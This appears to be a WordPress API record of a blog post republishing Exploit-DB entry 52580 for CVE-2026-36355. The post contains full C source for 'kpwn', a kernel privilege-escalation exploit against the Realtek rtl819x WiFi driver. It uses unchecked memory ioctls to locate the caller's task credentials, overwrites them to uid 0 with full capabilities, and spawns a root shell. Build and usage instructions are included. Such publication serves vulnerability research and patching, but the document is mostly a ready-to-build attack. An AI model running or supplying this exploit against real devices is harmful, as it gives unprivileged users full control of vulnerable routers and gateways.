{"id":57398,"date":"2026-05-27T08:49:54","date_gmt":"2026-05-27T08:49:54","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=57398"},"modified":"2026-05-27T08:49:54","modified_gmt":"2026-05-27T08:49:54","slug":"realtek-rtl819x-local-privilege","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=57398","title":{"rendered":"Realtek rtl819x  &#8211; Local Privilege_EDB-ID:52580"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-27T13:27:56&#8243;,&#8221;description&#8221;:&#8221;Exploit Title: Realtek rtl819x &#8211; Local Privilege Escalation Date: 2026-05-03 Exploit Author: Daniil Gordeev Vendor Homepage: http:\/\/www.realtek.com Software Link: https:\/\/github.com\/iptime-gpl\/userappsn104qi representative GPL release Version: Realtek&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-27T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-27T00:00:00&#8243;,&#8221;type&#8221;:&#8221;exploitdb&#8221;,&#8221;title&#8221;:&#8221;Realtek rtl819x  &#8211; Local Privilege&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;EDB-ID:52580&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-36355&#8243;],&#8221;sourceData&#8221;:&#8221; * Exploit Title: Realtek rtl819x  &#8211; Local Privilege Escalation \\r\\n * Date: 2026-05-03\\r\\n * Exploit Author: Daniil Gordeev\\r\\n * Vendor Homepage: http:\/\/www.realtek.com\\r\\n * Software Link: https:\/\/github.com\/iptime-gpl\/userapps_n104qi (representative GPL release)\\r\\n * Version: Realtek rtl819x Jungle SDK, all known versions through v3.4.14B\\r\\n * Tested on: Linux 3.18.48, ARMv7 Cortex-A7, Qualcomm MDM9607, rtl8192es.ko (MeiG FORGE_SLT711 \/ Ortel 4G LTE CPE)\\r\\n * CVE: CVE-2026-36355\\r\\n *\\r\\n * kpwn &#8211; RTL8192CD kernel LPE exploit\\r\\n *\\r\\n * Exploits missing capability checks on ioctl 0x89F5\/0x89F6 (write_mem\/read_mem)\\r\\n * in the Realtek rtl819x out-of-tree WiFi driver SDK.\\r\\n *\\r\\n * Runs as ANY unprivileged user \u2014 no root needed at any stage.\\r\\n * Auto-detects task_struct offsets from init_task.\\r\\n *\\r\\n * Affected: ALL devices using Realtek rtl819x out-of-tree driver SDK\\r\\n * Chips: RTL8192C\/D\/E, RTL8188E, RTL8812, RTL8881A, RTL8197F, etc.\\r\\n *\\r\\n * Build: arm-linux-gnueabi-gcc -static -O2 -o tools\/kpwn tools\/kpwn.c\\r\\n * Usage: \/tmp\/kpwn  (any user, GID 3003\/inet on paranoid kernels)\\r\\n *\/\\r\\n\\r\\n#include \\u003cstdio.h\\u003e\\r\\n#include \\u003cstdlib.h\\u003e\\r\\n#include \\u003cstring.h\\u003e\\r\\n#include \\u003cunistd.h\\u003e\\r\\n#include \\u003cerrno.h\\u003e\\r\\n#include \\u003cdirent.h\\u003e\\r\\n#include \\u003csys\/ioctl.h\\u003e\\r\\n#include \\u003csys\/socket.h\\u003e\\r\\n#include \\u003clinux\/wireless.h\\u003e\\r\\n\\r\\n#define IOCTL_WRITE  0x89F5   \/* SIOCDEVPRIVATE+5: write_mem *\/\\r\\n#define IOCTL_READ   0x89F6   \/* SIOCDEVPRIVATE+6: read_mem  *\/\\r\\n\\r\\n\/* kernel .data scan range for init_task (ARM, no KASLR) *\/\\r\\n#define DATA_SCAN_START  0xC0800000\\r\\n#define DATA_SCAN_END    0xC1000000\\r\\n\\r\\nstatic int sockfd = -1;\\r\\nstatic int nioctls = 0;\\r\\nstatic char ifname[IFNAMSIZ];\\r\\n\\r\\n\/* &#8212;- kernel R\/W primitives &#8212;- *\/\\r\\n\\r\\nstatic int kread(unsigned long addr, void *out, int ndw)\\r\\n{\\r\\n    struct iwreq wrq;\\r\\n    char buf[256];\\r\\n\\r\\n    if (ndw \\u003e 32) ndw = 32;\\r\\n    snprintf(buf, sizeof(buf), \\&#8221;dw,%lx,%x\\&#8221;, addr, ndw);\\r\\n\\r\\n    memset(\\u0026wrq, 0, sizeof(wrq));\\r\\n    strncpy(wrq.ifr_name, ifname, IFNAMSIZ);\\r\\n    wrq.u.data.pointer = buf;\\r\\n    wrq.u.data.length = strlen(buf) + 1;\\r\\n\\r\\n    if (ioctl(sockfd, IOCTL_READ, \\u0026wrq) \\u003c 0)\\r\\n        return -1;\\r\\n\\r\\n    nioctls++;\\r\\n    int n = wrq.u.data.length;\\r\\n    if (n \\u003e 0 \\u0026\\u0026 out)\\r\\n        memcpy(out, buf, n \\u003e 128 ? 128 : n);\\r\\n    return n;\\r\\n}\\r\\n\\r\\nstatic unsigned int kread32(unsigned long addr)\\r\\n{\\r\\n    unsigned int v = 0;\\r\\n    kread(addr, \\u0026v, 1);\\r\\n    return v;\\r\\n}\\r\\n\\r\\nstatic int kfill(unsigned long addr, int ndw, unsigned int val)\\r\\n{\\r\\n    struct iwreq wrq;\\r\\n    char buf[256];\\r\\n\\r\\n    snprintf(buf, sizeof(buf), \\&#8221;dw,%lx,%x,%x\\&#8221;, addr, ndw, val);\\r\\n\\r\\n    memset(\\u0026wrq, 0, sizeof(wrq));\\r\\n    strncpy(wrq.ifr_name, ifname, IFNAMSIZ);\\r\\n    wrq.u.data.pointer = buf;\\r\\n    wrq.u.data.length = strlen(buf) + 1;\\r\\n\\r\\n    if (ioctl(sockfd, IOCTL_WRITE, \\u0026wrq) \\u003c 0)\\r\\n        return -1;\\r\\n\\r\\n    nioctls++;\\r\\n    return 0;\\r\\n}\\r\\n\\r\\n\/* &#8212;- find vulnerable interface &#8212;- *\/\\r\\n\\r\\nstatic int find_interface(void)\\r\\n{\\r\\n    DIR *d = opendir(\\&#8221;\/sys\/class\/net\\&#8221;);\\r\\n    if (!d) return -1;\\r\\n\\r\\n    struct dirent *e;\\r\\n    unsigned int probe;\\r\\n    while ((e = readdir(d))) {\\r\\n        if (e-\\u003ed_name[0] == &#8216;.&#8217; || strcmp(e-\\u003ed_name, \\&#8221;lo\\&#8221;) == 0)\\r\\n            continue;\\r\\n        strncpy(ifname, e-\\u003ed_name, IFNAMSIZ &#8211; 1);\\r\\n        probe = 0;\\r\\n        if (kread(0xC0008000, \\u0026probe, 1) \\u003e 0 \\u0026\\u0026 probe != 0) {\\r\\n            closedir(d);\\r\\n            return 0;\\r\\n        }\\r\\n    }\\r\\n    closedir(d);\\r\\n    return -1;\\r\\n}\\r\\n\\r\\n\/* &#8212;- resolve init_task &#8212;- *\/\\r\\n\\r\\nstatic unsigned long scan_for_init_task(void)\\r\\n{\\r\\n    \/*\\r\\n     * Brute-force: scan kernel .data for init_task.comm = \\&#8221;swapper\\&#8221;.\\r\\n     * Validate by checking cred pointer (must dereference to uid=0, gid=0).\\r\\n     *\\r\\n     * The returned base doesn&#8217;t need to be exact \u2014 detect_offsets finds\\r\\n     * all field positions relative to the base, and the math in find_task\\r\\n     * and the overwrite phase uses (base + offset) pairs where any constant\\r\\n     * shift cancels out. We just need \\&#8221;swapper\\&#8221; to land within the\\r\\n     * detect_offsets search window (0x200-0x5F0 from returned base).\\r\\n     *\/\\r\\n    unsigned char buf[128];\\r\\n    unsigned long addr;\\r\\n\\r\\n    printf(\\&#8221;[*] Scanning .data for init_task&#8230;\\\\n\\&#8221;);\\r\\n\\r\\n    for (addr = DATA_SCAN_START; addr \\u003c DATA_SCAN_END; addr += 128) {\\r\\n        if (kread(addr, buf, 32) \\u003c= 0)\\r\\n            continue;\\r\\n\\r\\n        int j;\\r\\n        for (j = 0; j \\u003c= 128 &#8211; 7; j += 4) {\\r\\n            if (memcmp(buf + j, \\&#8221;swapper\\&#8221;, 7) != 0)\\r\\n                continue;\\r\\n\\r\\n            unsigned long comm_addr = addr + j;\\r\\n\\r\\n            \/* validate: cred pointer just before comm \u2192 {usage, uid=0, gid=0} *\/\\r\\n            unsigned int cred_ptr;\\r\\n            if (kread(comm_addr &#8211; 4, \\u0026cred_ptr, 1) \\u003c= 0)\\r\\n                continue;\\r\\n            if ((cred_ptr \\u0026 0xC0000000) != 0xC0000000 || cred_ptr == 0xFFFFFFFF)\\r\\n                continue;\\r\\n\\r\\n            unsigned int chk[3];\\r\\n            if (kread(cred_ptr, chk, 3) \\u003c= 0)\\r\\n                continue;\\r\\n            if (chk[0] \\u003c 1 || chk[0] \\u003e= 10000)  \/* usage refcount *\/\\r\\n                continue;\\r\\n            if (chk[1] != 0 || chk[2] != 0)      \/* uid=0, gid=0 *\/\\r\\n                continue;\\r\\n\\r\\n            \/*\\r\\n             * Return comm_addr &#8211; 0x400 as base. This places comm at\\r\\n             * offset 0x400 in the detect_offsets window (well within\\r\\n             * the 0x200-0x5F0 search range). The base doesn&#8217;t need\\r\\n             * to be the true struct start \u2014 all offset math cancels.\\r\\n             *\/\\r\\n            unsigned long base = comm_addr &#8211; 0x400;\\r\\n            printf(\\&#8221;[+] scan: comm @ 0x%08lx, base 0x%08lx\\\\n\\&#8221;, comm_addr, base);\\r\\n            return base;\\r\\n        }\\r\\n    }\\r\\n    return 0;\\r\\n}\\r\\n\\r\\nstatic unsigned long resolve_init_task(void)\\r\\n{\\r\\n    return scan_for_init_task();\\r\\n}\\r\\n\\r\\n\/* &#8212;- auto-detect task_struct layout &#8212;- *\/\\r\\n\\r\\nstruct offsets { unsigned long tasks, pid, cred, comm; };\\r\\n\\r\\nstatic int detect_offsets(unsigned long init, struct offsets *o)\\r\\n{\\r\\n    unsigned char data[0x600];\\r\\n    int i;\\r\\n\\r\\n    \/* bulk-read init_task (12 reads, 128 bytes each) *\/\\r\\n    for (i = 0; i \\u003c 0x600; i += 128)\\r\\n        if (kread(init + i, data + i, 32) \\u003c= 0) {\\r\\n            printf(\\&#8221;[-] Read init_task+0x%x failed\\\\n\\&#8221;, i);\\r\\n            return -1;\\r\\n        }\\r\\n\\r\\n    \/* comm: find \\&#8221;swapper\\&#8221; string \u2014 unique, most reliable anchor *\/\\r\\n    o-\\u003ecomm = 0;\\r\\n    for (i = 0x200; i \\u003c 0x5F0; i += 4)\\r\\n        if (memcmp(data + i, \\&#8221;swapper\\&#8221;, 7) == 0) { o-\\u003ecomm = i; break; }\\r\\n    if (!o-\\u003ecomm) {\\r\\n        printf(\\&#8221;[-] &#8216;swapper&#8217; not found in init_task\\\\n\\&#8221;);\\r\\n        return -1;\\r\\n    }\\r\\n\\r\\n    \/* cred: kernel pointer just before comm \u2192 dereferences to {usage, uid=0, gid=0} *\/\\r\\n    o-\\u003ecred = 0;\\r\\n    for (i = o-\\u003ecomm &#8211; 4; i \\u003e= (int)o-\\u003ecomm &#8211; 16; i -= 4) {\\r\\n        unsigned int val = *(unsigned int *)(data + i);\\r\\n        if ((val \\u0026 0xC0000000) == 0xC0000000 \\u0026\\u0026 val != 0xFFFFFFFF) {\\r\\n            unsigned int chk[3];\\r\\n            if (kread(val, chk, 3) \\u003e 0 \\u0026\\u0026\\r\\n                chk[0] \\u003e= 1 \\u0026\\u0026 chk[0] \\u003c 10000 \\u0026\\u0026\\r\\n                chk[1] == 0 \\u0026\\u0026 chk[2] == 0) {\\r\\n                o-\\u003ecred = i;\\r\\n                break;\\r\\n            }\\r\\n        }\\r\\n    }\\r\\n    if (!o-\\u003ecred) {\\r\\n        printf(\\&#8221;[-] Cred pointer not found near comm\\\\n\\&#8221;);\\r\\n        return -1;\\r\\n    }\\r\\n\\r\\n    \/* tasks: non-self-referencing list_head with valid chain and printable comm at next *\/\\r\\n    o-\\u003etasks = 0;\\r\\n    for (i = 0x100; i \\u003c 0x300; i += 4) {\\r\\n        unsigned int next = *(unsigned int *)(data + i);\\r\\n        unsigned int prev = *(unsigned int *)(data + i + 4);\\r\\n        if ((next \\u0026 0xC0000000) != 0xC0000000 || next == 0xFFFFFFFF) continue;\\r\\n        if ((prev \\u0026 0xC0000000) != 0xC0000000 || prev == 0xFFFFFFFF) continue;\\r\\n        if (next == (unsigned int)(init + i)) continue;\\r\\n\\r\\n        unsigned int nn = kread32(next);\\r\\n        if ((nn \\u0026 0xC0000000) != 0xC0000000) continue;\\r\\n\\r\\n        unsigned long next_base = (unsigned long)next &#8211; i;\\r\\n        char tc[8] = {0};\\r\\n        if (kread(next_base + o-\\u003ecomm, tc, 2) \\u003e 0 \\u0026\\u0026\\r\\n            tc[0] \\u003e= 0x20 \\u0026\\u0026 tc[0] \\u003c 0x7F) {\\r\\n            o-\\u003etasks = i;\\r\\n            break;\\r\\n        }\\r\\n    }\\r\\n    if (!o-\\u003etasks) {\\r\\n        printf(\\&#8221;[-] Tasks list_head not found\\\\n\\&#8221;);\\r\\n        return -1;\\r\\n    }\\r\\n\\r\\n    \/* pid: 0 in init_task, cross-verified against two other tasks (different PIDs) *\/\\r\\n    o-\\u003epid = 0;\\r\\n    unsigned int tasks_next = *(unsigned int *)(data + o-\\u003etasks);\\r\\n    unsigned long first_base = (unsigned long)tasks_next &#8211; o-\\u003etasks;\\r\\n    unsigned int second_ptr = kread32(tasks_next);\\r\\n    unsigned long second_base = (unsigned long)second_ptr &#8211; o-\\u003etasks;\\r\\n\\r\\n    for (i = o-\\u003etasks + 0x20; i \\u003c (int)o-\\u003ecomm &#8211; 0x20; i += 4) {\\r\\n        if (*(unsigned int *)(data + i) != 0) continue;\\r\\n        if (*(unsigned int *)(data + i + 4) != 0) continue;   \/* pid=0 AND tgid=0 *\/\\r\\n        unsigned int p1 = kread32(first_base + i);\\r\\n        if (p1 == 0 || p1 \\u003e= 32768) continue;\\r\\n        unsigned int p2 = kread32(second_base + i);\\r\\n        if (p2 == 0 || p2 \\u003e= 32768) continue;\\r\\n        if (p1 == p2) continue;\\r\\n        o-\\u003epid = i;\\r\\n        break;\\r\\n    }\\r\\n    if (!o-\\u003epid) {\\r\\n        printf(\\&#8221;[-] PID offset not found\\\\n\\&#8221;);\\r\\n        return -1;\\r\\n    }\\r\\n\\r\\n    return 0;\\r\\n}\\r\\n\\r\\n\/* &#8212;- walk task list backward (newest first, 1 ioctl per task) &#8212;- *\/\\r\\n\\r\\nstatic unsigned long find_task(unsigned long init, struct offsets *o,\\r\\n                               pid_t pid, int *walked)\\r\\n{\\r\\n    unsigned long head = init + o-\\u003etasks;\\r\\n    unsigned int buf[32];\\r\\n    unsigned long cur;\\r\\n    int batch = 0;\\r\\n    int span = 0;\\r\\n    *walked = 0;\\r\\n\\r\\n    \/* if pid and tasks fit in one 32-dword read, batch them *\/\\r\\n    if (o-\\u003epid \\u003e o-\\u003etasks) {\\r\\n        span = (o-\\u003epid &#8211; o-\\u003etasks) \/ 4 + 1;\\r\\n        if (span \\u003c= 32) batch = 1;\\r\\n    }\\r\\n\\r\\n    \/* walk backward: tasks.prev (offset +4) points to newest task *\/\\r\\n    cur = kread32(head + 4);\\r\\n\\r\\n    for (int i = 0; i \\u003c 512; i++) {\\r\\n        if (cur == head || cur == 0)\\r\\n            break;\\r\\n\\r\\n        unsigned long base = cur &#8211; o-\\u003etasks;\\r\\n        unsigned int p;\\r\\n        unsigned long prev;\\r\\n\\r\\n        if (batch) {\\r\\n            \/* single read gets tasks.next, tasks.prev, and pid *\/\\r\\n            if (kread(cur, buf, span) \\u003c= 0) break;\\r\\n            prev = buf[1];    \/* tasks.prev = next older task *\/\\r\\n            p = buf[(o-\\u003epid &#8211; o-\\u003etasks) \/ 4];\\r\\n        } else {\\r\\n            \/* fallback: two individual reads *\/\\r\\n            p = kread32(base + o-\\u003epid);\\r\\n            prev = kread32(cur + 4);\\r\\n        }\\r\\n\\r\\n        (*walked)++;\\r\\n        if (p == (unsigned int)pid)\\r\\n            return base;\\r\\n        cur = prev;\\r\\n    }\\r\\n    return 0;\\r\\n}\\r\\n\\r\\n\/* &#8212;- main &#8212;- *\/\\r\\n\\r\\nint main(void)\\r\\n{\\r\\n    uid_t orig_uid = getuid();\\r\\n    gid_t orig_gid = getgid();\\r\\n    pid_t pid = getpid();\\r\\n\\r\\n    printf(\\&#8221;kpwn \\\\xe2\\\\x80\\\\x94 RTL8192CD kernel LPE\\\\n\\&#8221;);\\r\\n    printf(\\&#8221;uid=%u gid=%u pid=%d\\\\n\\\\n\\&#8221;, orig_uid, orig_gid, pid);\\r\\n\\r\\n    \/* socket *\/\\r\\n    printf(\\&#8221;[*] Creating socket&#8230;\\\\n\\&#8221;);\\r\\n    sockfd = socket(AF_INET, SOCK_DGRAM, 0);\\r\\n    if (sockfd \\u003c 0) {\\r\\n        printf(\\&#8221;[-] socket: %s\\\\n\\&#8221;, strerror(errno));\\r\\n        if (errno == EACCES)\\r\\n            printf(\\&#8221;[-] Need GID 3003 (inet) on paranoid kernels\\\\n\\&#8221;);\\r\\n        return 1;\\r\\n    }\\r\\n\\r\\n    \/* find vulnerable interface *\/\\r\\n    printf(\\&#8221;[*] Scanning interfaces&#8230;\\\\n\\&#8221;);\\r\\n    if (find_interface() \\u003c 0) {\\r\\n        printf(\\&#8221;[-] No rtl819x interface found\\\\n\\&#8221;);\\r\\n        return 1;\\r\\n    }\\r\\n    printf(\\&#8221;[+] %s \u2014 read primitive confirmed\\\\n\\&#8221;, ifname);\\r\\n\\r\\n    \/* resolve init_task *\/\\r\\n    printf(\\&#8221;[*] Resolving init_task&#8230;\\\\n\\&#8221;);\\r\\n    unsigned long init = resolve_init_task();\\r\\n    if (!init) {\\r\\n        printf(\\&#8221;[-] init_task not found\\\\n\\&#8221;);\\r\\n        return 1;\\r\\n    }\\r\\n    printf(\\&#8221;[+] init_task @ 0x%08lx\\\\n\\&#8221;, init);\\r\\n\\r\\n    \/* auto-detect offsets *\/\\r\\n    printf(\\&#8221;[*] Detecting task_struct layout&#8230;\\\\n\\&#8221;);\\r\\n    struct offsets o;\\r\\n    if (detect_offsets(init, \\u0026o) \\u003c 0)\\r\\n        return 1;\\r\\n    printf(\\&#8221;[+] comm=0x%03lx cred=0x%03lx tasks=0x%03lx pid=0x%03lx\\\\n\\&#8221;,\\r\\n           o.comm, o.cred, o.tasks, o.pid);\\r\\n\\r\\n    \/* find our task_struct *\/\\r\\n    printf(\\&#8221;[*] Searching for pid %d&#8230;\\\\n\\&#8221;, pid);\\r\\n    int walked = 0;\\r\\n    unsigned long task = find_task(init, \\u0026o, pid, \\u0026walked);\\r\\n    if (!task) {\\r\\n        printf(\\&#8221;[-] pid %d not found (%d tasks walked)\\\\n\\&#8221;, pid, walked);\\r\\n        return 1;\\r\\n    }\\r\\n\\r\\n    \/* read and verify cred (batched: cred+comm in one read, uid+gid in one read) *\/\\r\\n    unsigned int info[5];\\r\\n    char *comm;\\r\\n    unsigned long cred;\\r\\n    unsigned int k_uid, k_gid;\\r\\n\\r\\n    kread(task + o.cred, info, 5);    \/* cred ptr + 16 bytes of comm *\/\\r\\n    cred = info[0];\\r\\n    comm = (char *)\\u0026info[1];\\r\\n\\r\\n    unsigned int uids[2];\\r\\n    kread(cred + 0x04, uids, 2);     \/* uid + gid *\/\\r\\n    k_uid = uids[0];\\r\\n    k_gid = uids[1];\\r\\n\\r\\n    printf(\\&#8221;[+] task=0x%08lx comm=\\\\\\&#8221;%s\\\\\\&#8221; (%d walked)\\\\n\\&#8221;, task, comm, walked);\\r\\n    printf(\\&#8221;[+] cred=0x%08lx uid=%u gid=%u\\\\n\\&#8221;, cred, k_uid, k_gid);\\r\\n\\r\\n    if (k_uid != orig_uid) {\\r\\n        printf(\\&#8221;[-] uid mismatch: kernel=%u userspace=%u\\\\n\\&#8221;, k_uid, orig_uid);\\r\\n        return 1;\\r\\n    }\\r\\n\\r\\n    \/* overwrite cred -\\u003e root (2 ioctls: zero uids + fill all caps) *\/\\r\\n    printf(\\&#8221;[*] Overwriting credentials&#8230;\\\\n\\&#8221;);\\r\\n    kfill(cred + 0x04, 9, 0);                 \/* uid..fsgid + securebits = 0 *\/\\r\\n    kfill(cred + 0x28, 8, 0xFFFFFFFF);        \/* cap_{inheritable,permitted,effective,bset} = full *\/\\r\\n\\r\\n    if (getuid() != 0) {\\r\\n        printf(\\&#8221;[-] FAILED \\\\xe2\\\\x80\\\\x94 uid still %d after overwrite\\\\n\\&#8221;, getuid());\\r\\n        return 1;\\r\\n    }\\r\\n\\r\\n    printf(\\&#8221;[+] uid=%d euid=%d gid=%d egid=%d\\\\n\\\\n\\&#8221;,\\r\\n           getuid(), geteuid(), getgid(), getegid());\\r\\n    printf(\\&#8221;*** GOT ROOT *** uid=%u -\\u003e %d (%d ioctls)\\\\n\\\\n\\&#8221;, orig_uid, getuid(), nioctls);\\r\\n\\r\\n    execl(\\&#8221;\/bin\/sh\\&#8221;, \\&#8221;sh\\&#8221;, NULL);\\r\\n    printf(\\&#8221;[-] execl: %s\\\\n\\&#8221;, strerror(errno));\\r\\n    return 1;\\r\\n}&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/www.exploit-db.com\/raw\/52580&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:7.7,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:L\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:N&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.exploit-db.com\/exploits\/52580&#8243;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-27T13:27:56&#8243;,&#8221;description&#8221;:&#8221;Exploit Title: Realtek rtl819x &#8211; Local Privilege Escalation Date: 2026-05-03 Exploit Author: Daniil Gordeev Vendor Homepage: http:\/\/www.realtek.com Software Link: https:\/\/github.com\/iptime-gpl\/userappsn104qi representative GPL release Version: Realtek&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-27T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-27T00:00:00&#8243;,&#8221;type&#8221;:&#8221;exploitdb&#8221;,&#8221;title&#8221;:&#8221;Realtek&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,87,12,40,15,13,7,11,5],"class_list":["post-57398","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-77","tag-exploit","tag-exploitdb","tag-high","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Realtek rtl819x - Local Privilege_EDB-ID:52580 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=57398\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Realtek rtl819x - Local Privilege_EDB-ID:52580 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-05-27T13:27:56&#8243;,&#8221;description&#8221;:&#8221;Exploit Title: Realtek rtl819x &#8211; Local Privilege Escalation Date: 2026-05-03 Exploit Author: Daniil Gordeev Vendor Homepage: http:\/\/www.realtek.com Software Link: https:\/\/github.com\/iptime-gpl\/userappsn104qi representative GPL release Version: Realtek&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-27T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-27T00:00:00&#8243;,&#8221;type&#8221;:&#8221;exploitdb&#8221;,&#8221;title&#8221;:&#8221;Realtek...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=57398\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-05-27T08:49:54+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"14 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=57398#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=57398\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Realtek rtl819x &#8211; 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